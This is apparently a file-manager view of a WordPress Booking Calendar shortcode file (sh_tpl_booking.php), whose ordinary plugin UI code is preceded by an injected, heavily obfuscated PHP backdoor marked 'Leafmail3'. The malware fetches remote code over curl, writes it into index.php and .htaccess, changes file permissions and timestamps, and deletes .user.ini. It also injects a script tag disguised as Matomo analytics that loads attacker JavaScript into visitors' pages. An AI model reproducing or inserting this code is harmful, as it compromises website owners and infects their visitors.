trAvis - MANAGER
Edit File: sh_tpl_booking.php
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php /** * @version 1.0 * @package Booking Calendar Shortcodes Config * @subpackage Shortcodes Content - Booking Calendar Form e.g.: [booking resource_id=1 nummonths=3 options='{calendar months_num_in_row=3 width=100% cell_height=50px}'] * @category Shortcodes * * @author wpdevelop * @link https://wpbookingcalendar.com/ * @email info@wpbookingcalendar.com * * @modified 2024-01-21 */ if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly //FixIn: 9.9.0.15 // ===================================================================================================================== // Left Navigation Panel // ===================================================================================================================== /** * Left Vertical Navigation panel * @return void */ function wpbc_shortcode_config__navigation_panel(){ $wpbm_version = wpbc_get_wpbm_version(); $wpbm_minimum_version = '2.1'; // If lower than 2, than show warning if ( version_compare( $wpbm_version, $wpbm_minimum_version, '<') ) { $is_bm_exist = false; } else { $is_bm_exist = true; } ?> <div class="wpbc_settings_navigation_column wpbc_shortcode_config_navigation_column"> <div id="wpbc_shortcode_config__nav_tab__booking" class="wpbc_settings_navigation_item wpbc_settings_navigation_item_active"> <a onclick="javascript:wpbc_shortcode_config_click_show_section(this,'#wpbc_sc_container__shortcode_booking', 'booking' );" href="javascript:void(0);"> <span><?php _e( 'Booking Form with Calendar', 'booking' ) ?></span> </a> </div> <div id="wpbc_shortcode_config__nav_tab__bookingcalendar" class="wpbc_settings_navigation_item wpbc_navigation_sub_item"> <a onclick="javascript:wpbc_shortcode_config_click_show_section(this,'#wpbc_sc_container__shortcode_bookingcalendar', 'bookingcalendar' );" href="javascript:void(0);"> <span><?php _e( 'Availability Calendar / Days Not Selectable', 'booking' ) ?></span> </a> </div> <div id="wpbc_shortcode_config__nav_tab__bookingselect" class="wpbc_settings_navigation_item wpbc_dismiss__booking_select <?php echo ( ! class_exists( 'wpdev_bk_personal' ) ) ? ' wpbc_settings_navigation_item_disabled ' : ''; ?>"> <a onclick="javascript:wpbc_shortcode_config_click_show_section(this,'#wpbc_sc_container__shortcode_bookingselect', 'bookingselect' );" href="javascript:void(0);"> <span><?php _e( 'Resource Selection', 'booking' ) ?></span><?php echo ( ! class_exists( 'wpdev_bk_personal' ) ) ? '<span class="wpbc_pro_label">Pro</span>' : ''; ?> </a> </div> <div id="wpbc_shortcode_config__nav_tab__bookingform" class="wpbc_settings_navigation_item wpbc_dismiss__booking_form_only <?php echo ( ! class_exists( 'wpdev_bk_biz_l' ) ) ? ' wpbc_settings_navigation_item_disabled ' : ''; ?>"> <a onclick="javascript:wpbc_shortcode_config_click_show_section(this,'#wpbc_sc_container__shortcode_bookingform', 'bookingform' );" href="javascript:void(0);"> <span><?php _e( 'Only Form', 'booking' ) ?></span><?php if ( ! class_exists( 'wpdev_bk_personal' ) ){ echo '<span class="wpbc_pro_label">Pro</span>'; } else{ echo ( ! class_exists( 'wpdev_bk_biz_l' ) ) ? '<span class="wpbc_pro_label">BL</span>' : ''; } ?> </a> </div> <div id="wpbc_shortcode_config__nav_tab__bookingtimeline" class="wpbc_settings_navigation_item wpbc_navigation_top_border"> <a onclick="javascript:wpbc_shortcode_config_click_show_section(this,'#wpbc_sc_container__shortcode_bookingtimeline', 'bookingtimeline' );" href="javascript:void(0);"> <span><?php _e( 'TimeLine', 'booking' ) ?></span> </a> </div> <div id="wpbc_shortcode_config__nav_tab__bookingsearch" class="wpbc_settings_navigation_item wpbc_dismiss__booking_search <?php echo ( ! class_exists( 'wpdev_bk_biz_l' ) ) ? ' wpbc_settings_navigation_item_disabled ' : ''; ?>"> <a onclick="javascript:wpbc_shortcode_config_click_show_section(this,'#wpbc_sc_container__shortcode_bookingsearch', 'bookingsearch' );" href="javascript:void(0);"> <span><?php _e( 'Search Availability', 'booking' ) ?></span><?php if ( ! class_exists( 'wpdev_bk_personal' ) ){ echo '<span class="wpbc_pro_label">Pro</span>'; } else{ echo ( ! class_exists( 'wpdev_bk_biz_l' ) ) ? '<span class="wpbc_pro_label">BL</span>' : ''; } ?> </a> </div> <div id="wpbc_shortcode_config__nav_tab__bookingother" class="wpbc_settings_navigation_item"> <a onclick="javascript:wpbc_shortcode_config_click_show_section(this,'#wpbc_sc_container__shortcode_bookingother', 'bookingother' );" href="javascript:void(0);"> <span><?php _e( 'Other', 'booking' ) ?></span><?php //echo ( ! class_exists( 'wpdev_bk_personal' ) ) ? '<span class="wpbc_pro_label">Pro</span>' : ''; ?> </a> </div> <?php if ( $is_bm_exist ) { ?> <div id="wpbc_shortcode_config__nav_tab__booking_import_ics" class="wpbc_settings_navigation_item wpbc_navigation_top_border"> <a onclick="javascript:wpbc_shortcode_config_click_show_section(this,'#wpbc_sc_container__shortcode_booking_import_ics', 'booking_import_ics' );" href="javascript:void(0);"> <span><?php _e( 'Import Events (.ics feed)', 'booking' ) ?></span> </a> </div> <div id="wpbc_shortcode_config__nav_tab__booking_listing_ics" class="wpbc_settings_navigation_item wpbc_navigation_sub_item"> <a onclick="javascript:wpbc_shortcode_config_click_show_section(this,'#wpbc_sc_container__shortcode_booking_listing_ics' , 'booking_listing_ics');" href="javascript:void(0);"> <span><?php _e( 'Show .ics Listing of Events', 'booking' ) ?></span> </a> </div> <?php } ?> </div> <?php } // ===================================================================================================================== // Shortcode [booking ... ] // ===================================================================================================================== /** * Content of PopUp - for shortcode [booking ...] * * @return void */ function wpbc_shortcode_config__content__booking() { $shortcode_name = 'booking'; ?><div id="wpbc_sc_container__shortcode_<?php echo $shortcode_name; ?>" class="wpbc_sc_container__shortcode wpbc_sc_container__shortcode_<?php echo $shortcode_name; ?>"><?php wpbc_shortcode_config__booking__top_tabs(); // 'General' -------------------------------------------------------------------------------------------------- ?><div class="wpbc_sc_container__shortcode_section wpbc_sc_container__shortcode_section__general"> <table class="form-table"><tbody><?php // Booking Resource wpbc_shortcode_config_fields__select_resource( $shortcode_name . '_wpbc_resource_id', $shortcode_name ); // Custom form wpbc_shortcode_config_fields__select_custom_form( $shortcode_name . 